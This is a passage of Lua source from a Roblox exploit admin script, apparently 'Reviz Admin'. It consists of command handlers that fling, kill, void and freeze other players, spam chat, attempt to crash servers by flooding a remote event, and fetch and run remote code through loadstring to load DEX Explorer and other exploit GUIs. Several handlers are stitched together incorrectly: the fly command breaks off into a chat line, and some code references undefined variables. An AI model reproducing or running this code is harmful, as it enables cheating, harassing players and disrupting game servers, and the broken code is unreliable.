if string.sub(CMDBAR.Text, 1, 9) == ("unattach ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 10))) do
local function getout(player,player2)
local char1,char2=player.Character,player2.Character
if char1 and char2 then
char1:MoveTo(char2.Head.Position)
end
end
getout(lplayer, game:GetService("Players")[v.Name])
end
end
if string.sub(CMDBAR.Text, 1, 7) == ("follow ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 8))) do
followed = true
flwplr = v
end
end
if string.sub(CMDBAR.Text, 1, 8) == ("unfollow") then
followed = false
end
if string.sub(CMDBAR.Text, 1, 9) == ("freefall ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 10))) do
local NOW = lplayer.Character.HumanoidRootPart.CFrame
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.2)
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.6)
lplayer.Character.HumanoidRootPart.CFrame = NOW
wait(0.6)
lplayer.Character.HumanoidRootPart.CFrame = CFrame.new(0,50000,0)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
if string.sub(CMDBAR.Text, 1, 6) == ("trail ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 7))) do
traill = true
trlplr = v
end
end
if string.sub(CMDBAR.Text, 1, 7) == ("untrail") then
traill = false
end
if string.sub(CMDBAR.Text, 1, 6) == ("orbit ") then
if string.sub(CMDBAR.Text, 7) == "all" or string.sub(CMDBAR.Text, 7) ==
"others" or string.sub(CMDBAR.Text, 7) == "me" then
lplayer.Character.HumanoidRootPart.CFrame =
lplayer.Character.HumanoidRootPart.CFrame
else
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 7))) do
local o = Instance.new("RocketPropulsion")
o.Parent = lplayer.Character.HumanoidRootPart
o.Name = "Orbit"
o.Target = game:GetService("Players")
[v.Name].Character.HumanoidRootPart
o:Fire()
noclip = true
end
end
end
if string.sub(CMDBAR.Text, 1, 7) == ("unorbit") then
lplayer.Character.HumanoidRootPart.Orbit:Destroy()
noclip = false
end
if string.sub(CMDBAR.Text, 1, 6) == ("fling ") then
if string.sub(CMDBAR.Text, 7) == "all" or string.sub(CMDBAR.Text, 7) ==
"others" or string.sub(CMDBAR.Text, 7) == "me" then
lplayer.Character.HumanoidRootPart.CFrame =
lplayer.Character.HumanoidRootPart.CFrame
else
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 7))) do
local y = Instance.new("RocketPropulsion")
y.Parent = lplayer.Character.HumanoidRootPart
y.CartoonFactor = 1
y.MaxThrust = 800000
y.MaxSpeed = 1000
y.ThrustP = 200000
y.Name = "Fling"
game:GetService("Workspace").CurrentCamera.CameraSubject =
game:GetService("Players")[v.Name].Character.Head
y.Target = game:GetService("Players")
[v.Name].Character.HumanoidRootPart
y:Fire()
noclip = true
end
end
end
if string.sub(CMDBAR.Text, 1, 7) == ("unfling") then
noclip = false
lplayer.Character.HumanoidRootPart.Fling:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character.Head
wait(0.4)
lplayer.Character.HumanoidRootPart.Fling:Destroy()
end
if string.sub(CMDBAR.Text, 1, 7) == ("fecheck") then
if game:GetService("Workspace").FilteringEnabled == true then
warn("FE is Enabled (Filtering Enabled)")
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "FE is Enabled";
Text = "Filtering Enabled. Enjoy using Reviz Admin!";
})
else
warn("FE is Disabled (Filtering Disabled) Consider using a
different admin script.")
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "FE is Disabled";
Text = "Filtering Disabled. Consider using a different admin
script.";
})
end
end
if string.sub(CMDBAR.Text, 1, 5) == ("void ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 6))) do
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.2)
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.6)
lplayer.Character.HumanoidRootPart.CFrame =
CFrame.new(999999999999999,0,999999999999999)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
if string.sub(CMDBAR.Text, 1, 6) == ("noclip") then
noclip = true
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Noclip enabled";
Text = "Type ;clip to disable";
})
end
if string.sub(CMDBAR.Text, 1, 4) == ("clip") then
noclip = false
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Noclip disabled";
Text = "Type ;noclip to enable";
})
end
if string.sub(CMDBAR.Text, 1, 6) == ("speed ") then
lplayer.Character.Humanoid.WalkSpeed = (string.sub(CMDBAR.Text, 7))
end
if string.sub(CMDBAR.Text, 1, 3) == ("ws ") then
lplayer.Character.Humanoid.WalkSpeed = (string.sub(CMDBAR.Text, 4))
end
if string.sub(CMDBAR.Text, 1, 10) == ("hipheight ") then
lplayer.Character.Humanoid.HipHeight = (string.sub(CMDBAR.Text, 11))
end
if string.sub(CMDBAR.Text, 1, 3) == ("hh ") then
lplayer.Character.Humanoid.HipHeight = (string.sub(CMDBAR.Text, 4))
end
if string.sub(CMDBAR.Text, 1, 10) == ("jumppower ") then
lplayer.Character.Humanoid.JumpPower = (string.sub(CMDBAR.Text, 11))
end
if string.sub(CMDBAR.Text, 1, 3) == ("jp ") then
lplayer.Character.Humanoid.JumpPower = (string.sub(CMDBAR.Text, 4))
end
if string.sub(CMDBAR.Text, 1, 7) == ("default") then
lplayer.Character.Humanoid.JumpPower = 50
lplayer.Character.Humanoid.WalkSpeed = 16
lplayer.Character.Humanoid.HipHeight = 0
end
if string.sub(CMDBAR.Text, 1, 6) == ("annoy ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 7))) do
annoying = true
annplr = v
end
end
if string.sub(CMDBAR.Text, 1, 7) == ("unannoy") then
annoying = false
end
if string.sub(CMDBAR.Text, 1, 9) == ("headwalk ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 10))) do
hwalk = true
hdwplr = v
end
end
if string.sub(CMDBAR.Text, 1, 10) == ("unheadwalk") then
hwalk = false
end
if string.sub(CMDBAR.Text, 1, 7) == ("nolimbs") then
lplayer.Character["Left Leg"]:Destroy()
lplayer.Character["Left Arm"]:Destroy()
lplayer.Character["Right Leg"]:Destroy()
lplayer.Character["Right Arm"]:Destroy()
end
if string.sub(CMDBAR.Text, 1, 3) == ("god") then
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "FE Godmode enabled";
Text = "Use ;grespawn or ;respawn to remove.";
})
end
if string.sub(CMDBAR.Text, 1, 8) == ("drophats") then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Accessory")) or (v:IsA("Hat")) then
v.Parent = workspace
end
end
end
if string.sub(CMDBAR.Text, 1, 8) == ("droptool") then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Tool")) then
v.Parent = workspace
end
end
end
if string.sub(CMDBAR.Text, 1, 9) == ("loopdhats") then
droppinghats = true
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loop Drop Enabled";
Text = "Type ;unloopdhats to disable";
})
end
if string.sub(CMDBAR.Text, 1, 11) == ("unloopdhats") then
droppinghats = false
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loop Drop Disabled";
Text = "Type ;loopdhats to enable.";
})
end
if string.sub(CMDBAR.Text, 1, 9) == ("loopdtool") then
droppingtools = true
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loop Drop Enabled";
Text = "Type ;unloopdtool to disable";
})
end
if string.sub(CMDBAR.Text, 1, 11) == ("unloopdtool") then
droppingtools = false
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loop Drop Disabled";
Text = "Type ;loopdtool to enable.";
})
end
if string.sub(CMDBAR.Text, 1, 9) == ("invisible") then -- Credit to
Timeless
Local = game:GetService('Players').LocalPlayer
Char = Local.Character
touched,tpdback = false, false
box = Instance.new('Part',workspace)
box.Anchored = true
box.CanCollide = true
box.Size = Vector3.new(10,1,10)
box.Position = Vector3.new(0,10000,0)
box.Touched:connect(function(part)
if (part.Parent.Name == Local.Name) then
if touched == false then
touched = true
function apply()
if script.Disabled ~= true then
no = Char.HumanoidRootPart:Clone()
wait(.25)
Char.HumanoidRootPart:Destroy()
no.Parent = Char
Char:MoveTo(loc)
touched = false
end end
if Char then
apply()
end
end
end
end)
repeat wait() until Char
loc = Char.HumanoidRootPart.Position
Char:MoveTo(box.Position + Vector3.new(0,.5,0))
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Invisibility enabled!";
Text = "Reset or use ;respawn to remove.";
})
end
if string.sub(CMDBAR.Text, 1, 5) == ("view ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 6))) do
if game:GetService("Players")[v.Name].Character.Humanoid then
game:GetService("Workspace").CurrentCamera.CameraSubject =
game:GetService("Players")[v.Name].Character.Humanoid
else
game:GetService("Workspace").CurrentCamera.CameraSubject =
game:GetService("Players")[v.Name].Character.Head
end
end
end
if string.sub(CMDBAR.Text, 1, 6) == ("unview") then
if lplayer.Character.Humanoid then
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character.Humanoid
else
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character.Head
end
end
if string.sub(CMDBAR.Text, 1, 5) == ("goto ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 6))) do
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
end
end
if string.sub(CMDBAR.Text, 1, 3) == ("fly") then
repeat wait() until lplayer and lplayer.Character and
lplayer.Character:FindFirstChild('HumanoidRootPart') and
lplayer.Character:FindFirstChild('Humanoid')
repeat wait() until Mouse
local T = lplayer.Character.HumanoidRootPart
local CONTROL = {F = 0, B = 0, L = 0, R = 0}
local lCONTROL = {F = 0, B = 0, L = 0, R = 0}
local SPEED = speedget
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:
FireServer((string.sub(CMDBAR.Text, 6)), "All")
end
if string.sub(CMDBAR.Text, 1, 5) == ("spam ") then
spamtext = (string.sub(CMDBAR.Text, 6))
spamming = true
end
if string.sub(CMDBAR.Text, 1, 6) == ("unspam") then
spamming = false
end
if string.sub(CMDBAR.Text, 1, 9) == ("spamwait ") then
spamdelay = (string.sub(CMDBAR.Text, 10))
end
if string.sub(CMDBAR.Text, 1, 7) == ("pmspam ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 8))) do
pmspammed = v.Name
spammingpm = true
end
end
if string.sub(CMDBAR.Text, 1, 8) == ("unpmspam") then
spammingpm = false
end
if string.sub(CMDBAR.Text, 1, 8) == ("cfreeze ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 9))) do
v.Character["Left Leg"].Anchored = true
v.Character["Left Arm"].Anchored = true
v.Character["Right Leg"].Anchored = true
v.Character["Right Arm"].Anchored = true
v.Character.Torso.Anchored = true
v.Character.Head.Anchored = true
end
end
if string.sub(CMDBAR.Text, 1, 10) == ("uncfreeze ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 11))) do
v.Character["Left Leg"].Anchored = false
v.Character["Left Arm"].Anchored = false
v.Character["Right Leg"].Anchored = false
v.Character["Right Arm"].Anchored = false
v.Character.Torso.Anchored = false
v.Character.Head.Anchored = false
end
end
if string.sub(CMDBAR.Text, 1, 8) == ("unlockws") then
local a = game:GetService("Workspace"):getChildren()
for i = 1, #a do
if a[i].className == "Part" then
a[i].Locked = false
elseif a[i].className == "Model" then
local r = a[i]:getChildren()
for i = 1, #r do
if r[i].className == "Part" then
r[i].Locked = false
end
end
end
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "Workspace unlocked. Use ;lockws to lock.";
})
end
if string.sub(CMDBAR.Text, 1, 6) == ("lockws") then
local a = game:GetService("Workspace"):getChildren()
for i = 1, #a do
if a[i].className == "Part" then
a[i].Locked = true
elseif a[i].className == "Model" then
local r = a[i]:getChildren()
for i = 1, #r do
if r[i].className == "Part" then
r[i].Locked = true
end
end
end
end
end
if string.sub(CMDBAR.Text, 1, 6) == ("btools") then
local Clone_T = Instance.new("HopperBin",lplayer.Backpack)
Clone_T.BinType = "Clone"
local Destruct = Instance.new("HopperBin",lplayer.Backpack)
Destruct.BinType = "Hammer"
local Hold_T = Instance.new("HopperBin",lplayer.Backpack)
Hold_T.BinType = "Grab"
end
if string.sub(CMDBAR.Text, 1, 6) == ("pstand") then
lplayer.Character.Humanoid.PlatformStand = true
end
if string.sub(CMDBAR.Text, 1, 8) == ("unpstand") then
lplayer.Character.Humanoid.PlatformStand = false
end
if string.sub(CMDBAR.Text, 1, 9) == ("blockhead") then
lplayer.Character.Head.Mesh:Destroy()
end
if string.sub(CMDBAR.Text, 1, 3) == ("sit") then
lplayer.Character.Humanoid.Sit = true
end
if string.sub(CMDBAR.Text, 1, 9) == ("bringobj ") then
local function bringobjw()
for i,obj in ipairs(game:GetService("Workspace"):GetDescendants()) do
if obj.Name == (string.sub(CMDBAR.Text, 10)) then
obj.CFrame = lplayer.Character.HumanoidRootPart.CFrame
obj.CanCollide = false
obj.Transparency = 0.7
wait()
obj.CFrame = lplayer.Character["Left Leg"].CFrame
wait()
obj.CFrame = lplayer.Character["Right Leg"].CFrame
wait()
obj.CFrame = lplayer.Character["Head"].CFrame
end
end
end
while wait() do
bringobjw()
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "BringObj";
Text = "BringObj enabled.";
})
end
if string.sub(CMDBAR.Text, 1, 6) == ("wsvis ") then
vis = (string.sub(CMDBAR.Text, 7))
local a = game:GetService("Workspace"):GetDescendants()
for i = 1, #a do
if a[i].className == "Part" then
a[i].Transparency = vis
elseif a[i].className == "Model" then
local r = a[i]:getChildren()
for i = 1, #r do
if r[i].className == "Part" then
r[i].Transparency = vis
end
end
end
end
end
if string.sub(CMDBAR.Text, 1, 10) == ("hypertotal") then
loadstring(game:GetObjects("rbxassetid://1255063809")[1].Source)()
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "HyperTotal GUI Loaded!";
})
end
if string.sub(CMDBAR.Text, 1, 4) == ("cmds") then
CMDSFRAME.Visible = true
end
if string.sub(CMDBAR.Text, 1, 9) == ("rmeshhats") then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Accessory")) or (v:IsA("Hat")) then
v.Handle.Mesh:Destroy()
end
end
end
if string.sub(CMDBAR.Text, 1, 9) == ("blockhats") then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Accessory")) or (v:IsA("Hat")) then
v.Handle.Mesh:Destroy()
end
end
end
if string.sub(CMDBAR.Text, 1, 9) == ("rmeshtool") then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Tool")) then
v.Handle.Mesh:Destroy()
end
end
end
if string.sub(CMDBAR.Text, 1, 9) == ("blocktool") then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Tool")) then
v.Handle.Mesh:Destroy()
end
end
end
if string.sub(CMDBAR.Text, 1, 7) == ("spinner") then
local p = Instance.new("RocketPropulsion")
p.Parent = lplayer.Character.HumanoidRootPart
p.Name = "Spinner"
p.Target = lplayer.Character["Left Arm"]
p:Fire()
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Spinner enabled";
Text = "Type ;nospinner to disable.";
})
end
if string.sub(CMDBAR.Text, 1, 9) == ("nospinner") then
lplayer.Character.HumanoidRootPart.Spinner:Destroy()
end
if string.sub(CMDBAR.Text, 1, 6) == ("reachd") then
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Character:GetChildren())do
if v:isA("Tool") then
local a = Instance.new("SelectionBox",v.Handle)
a.Adornee = v.Handle
v.Handle.Size = Vector3.new(0.5,0.5,60)
v.GripPos = Vector3.new(0,0,0)
lplayer.Character.Humanoid:UnequipTools()
end
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Reach applied!";
Text = "Applied to equipped sword. Use ;noreach to disable.";
})
end
if string.sub(CMDBAR.Text, 1, 6) == ("reach ") then
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Character:GetChildren())do
if v:isA("Tool") then
local a = Instance.new("SelectionBox",v.Handle)
a.Name = "Reach"
a.Adornee = v.Handle
v.Handle.Size = Vector3.new(0.5,0.5,(string.sub(CMDBAR.Text,
7)))
v.GripPos = Vector3.new(0,0,0)
lplayer.Character.Humanoid:UnequipTools()
end
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Reach applied!";
Text = "Applied to equipped sword. Use ;noreach to disable.";
})
end
if string.sub(CMDBAR.Text, 1, 7) == ("noreach") then
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Character:GetChildren())do
if v:isA("Tool") then
v.Handle.Reach:Destroy()
end
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Reach removed!";
Text = "Removed reach from equipped sword.";
})
end
if string.sub(CMDBAR.Text, 1, 6) == ("rkill ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 7)))do
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
wait(0.1)
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.2)
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.5)
lplayer.Character.HumanoidRootPart.CFrame =
CFrame.new(Vector3.new(-100000,10,-100000))
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
if string.sub(CMDBAR.Text, 1, 6) == ("tp me ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 7))) do
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
end
end
if string.sub(CMDBAR.Text, 1, 7) == ("cbring ") then
if (string.sub(CMDBAR.Text, 8)) == "all" or (string.sub(CMDBAR.Text,
8)) == "All" or (string.sub(CMDBAR.Text, 8)) == "ALL" then
cbringall = true
else
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 8))) do
brplr = v.Name
end
end
cbring = true
end
if string.sub(CMDBAR.Text, 1, 8) == ("uncbring") then
cbring = false
cbringall = false
end
if string.sub(CMDBAR.Text, 1, 5) == ("swap ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 6))) do
local NOWPLR = game:GetService("Players")
[v.Name].Character.HumanoidRootPart.CFrame
local NOW = lplayer.Character.HumanoidRootPart.CFrame
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
local function tp(player,player2)
local char1,char2=player.Character,player2.Character
if char1 and char2 then
char1:MoveTo(char2.Head.Position)
end
end
wait(0.1)
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.2)
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.5)
lplayer.Character.HumanoidRootPart.CFrame = NOW
wait(0.6)
tp(lplayer, game:GetService("Players")[v.Name])
wait(0.4)
lplayer.Character.HumanoidRootPart.CFrame = NOWPLR
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
if string.sub(CMDBAR.Text, 1, 7) == ("glitch ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 8))) do
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character["Left Arm"].CFrame
wait(0.3)
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character["Left Arm"].CFrame
wait(0.4)
b = Instance.new("BodyForce")
b.Parent = lplayer.Character.HumanoidRootPart
b.Name = "Glitch"
b.Force = Vector3.new(100000000,5000,0)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
if string.sub(CMDBAR.Text, 1, 8) == ("unglitch") then
lplayer.Character.HumanoidRootPart.Glitch:Destroy()
lplayer.Character.HumanoidRootPart.CFrame = CFrame.new(10000,0,10000)
b = Instance.new("BodyForce")
b.Parent = lplayer.Character.HumanoidRootPart
b.Name = "unGlitch"
b.Force = Vector3.new(0,-5000000,0)
wait(2)
lplayer.Character.HumanoidRootPart.unGlitch:Destroy()
end
if string.sub(CMDBAR.Text, 1, 8) == ("grespawn") then
lplayer.Character.Humanoid.Health = 0
wait(1)
lplayer.Character.Head.CFrame = CFrame.new(1000000,0,1000000)
lplayer.Character.Torso.CFrame = CFrame.new(1000000,0,1000000)
end
if string.sub(CMDBAR.Text, 1, 8) == ("explorer") then
loadstring(game:GetObjects("rbxassetid://492005721")[1].Source)()
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "DEX Explorer has loaded.";
})
end
if string.sub(CMDBAR.Text, 1, 5) == ("anim ") then
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://"..(string.sub(CMDBAR.Text, 6))
local track = lplayer.Character.Humanoid:LoadAnimation(Anim)
track:Play(.1, 1, 1)
end
if string.sub(CMDBAR.Text, 1, 7) == ("animgui") then
loadstring(game:GetObjects("rbxassetid://1202558084")[1].Source)()
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "Energize Animations GUI has loaded.";
})
end
if string.sub(CMDBAR.Text, 1, 7) == ("savepos") then
saved = lplayer.Character.HumanoidRootPart.CFrame
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Position Saved";
Text = "Use ;loadpos to return to saved position.";
})
end
if string.sub(CMDBAR.Text, 1, 7) == ("loadpos") then
lplayer.Character.HumanoidRootPart.CFrame = saved
end
if string.sub(CMDBAR.Text, 1, 5) == ("bang ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 6))) do
local Anim2 = Instance.new("Animation")
Anim2.AnimationId = "rbxassetid://148840371"
local track2 = lplayer.Character.Humanoid:LoadAnimation(Anim2)
track2:Play(.1, 1, 1)
bplrr = v.Name
banpl = true
end
end
if string.sub(CMDBAR.Text, 1, 6) == ("unbang") then
banpl = false
end
if string.sub(CMDBAR.Text, 1, 9) == ("bringmod ") then
local function bringmodw()
for i,obj in ipairs(game:GetService("Workspace"):GetDescendants()) do
if obj.Name == (string.sub(CMDBAR.Text, 10)) then
for i,ch in pairs(obj:GetDescendants()) do
if (ch:IsA("BasePart")) then
ch.CFrame = lplayer.Character.HumanoidRootPart.CFrame
ch.CanCollide = false
ch.Transparency = 0.7
wait()
ch.CFrame = lplayer.Character["Left Leg"].CFrame
wait()
ch.CFrame = lplayer.Character["Right Leg"].CFrame
wait()
ch.CFrame = lplayer.Character["Head"].CFrame
end
end
end
end
end
while wait() do
bringmodw()
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "BringMod";
Text = "BringMod enabled.";
})
end
if string.sub(CMDBAR.Text, 1, 7) == ("respawn") then
local mod = Instance.new('Model', workspace) mod.Name = 're
'..lplayer.Name
local hum = Instance.new('Humanoid', mod)
local ins = Instance.new('Part', mod) ins.Name = 'Torso' ins.CanCollide
= false ins.Transparency = 1
lplayer.Character = mod
end
if string.sub(CMDBAR.Text, 1, 8) == ("shutdown") then
game:GetService'RunService'.Stepped:Connect(function()
pcall(function()
for i,v in pairs(game:GetService'Players':GetPlayers()) do
if v.Character ~= nil and v.Character:FindFirstChild'Head' then
for _,x in pairs(v.Character.Head:GetChildren()) do
if x:IsA'Sound' then x.Playing = true
x.CharacterSoundEvent:FireServer(true, true) end
end
end
end
end)
end)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Attempting Shutdown";
Text = "Shutdown Attempt has begun.";
})
end
if string.sub(CMDBAR.Text, 1, 7) == ("delobj ") then
objtodel = (string.sub(CMDBAR.Text, 8))
for i,v in pairs(game:GetService("Workspace"):GetDescendants()) do
if v.Name == objtodel then
v:Destroy()
end
end
end
if string.sub(CMDBAR.Text, 1, 7) == ("getplrs") then
for i,v in pairs(game:GetService("Players"):GetPlayers())do
print(v)
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Printed";
Text = "Players have been printed to console. (F9)";
})
end
if string.sub(CMDBAR.Text, 1, 8) == ("deldecal") then
for i,v in pairs(game:GetService("Workspace"):GetDescendants())do
if (v:IsA("Decal")) then
v:Destroy()
end
end
end
if string.sub(CMDBAR.Text, 1, 10) == ("opfinality") then
loadstring(game:GetObjects("rbxassetid://1294358929")[1].Source)()
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "OpFinality GUI has loaded.";
})
end
if string.sub(CMDBAR.Text, 1, 7) == ("remotes") then
remotes = true
added = true
game.DescendantAdded:connect(function(rmt)
if added == true then
if remotes == true then
if rmt:IsA("RemoteEvent") then
print("A RemoteEvent was added!")
print(" game." .. rmt:GetFullName() .. " | RemoteEvent")
print(" game." .. rmt:GetFullName() .. " | RemoteEvent", 247, 0, 0,
true)
end end end
end)
game.DescendantAdded:connect(function(rmtfnctn)
if added == true then
if remotes == true then
if rmtfnctn:IsA("RemoteFunction") then
warn("A RemoteFunction was added!")
warn(" game." .. rmtfnctn:GetFullName() .. " | RemoteFunction")
print(" game." .. rmtfnctn:GetFullName() .. " | RemoteFunction", 5,
102, 198, true)
end end end
end)
game.DescendantAdded:connect(function(bndfnctn)
if added == true then
if binds == true then
if bndfnctn:IsA("BindableFunction") then
print("A BindableFunction was added!")
print(" game." .. bndfnctn:GetFullName() .. " | BindableFunction")
print(" game." .. bndfnctn:GetFullName() .. " | BindableFunction", 239,
247, 4, true)
end end end
end)
game.DescendantAdded:connect(function(bnd)
if added == true then
if binds == true then
if bnd:IsA("BindableEvent") then
warn("A BindableEvent was added!")
warn(" game." .. bnd:GetFullName() .. " | BindableEvent")
print(" game." .. bnd:GetFullName() .. " | BindableEvent", 13, 193, 22,
true)
end end end
end)
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:
FireServer(player.Name.." Account Age: "..player.AccountAge.." days!", "All")
end
end
if string.sub(CMDBAR.Text, 1, 3) == ("id ") then
for i,player in pairs(GetPlayer(string.sub(CMDBAR.Text, 4))) do
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:
FireServer(player.Name.." Account ID: "..player.UserId, "All")
end
end
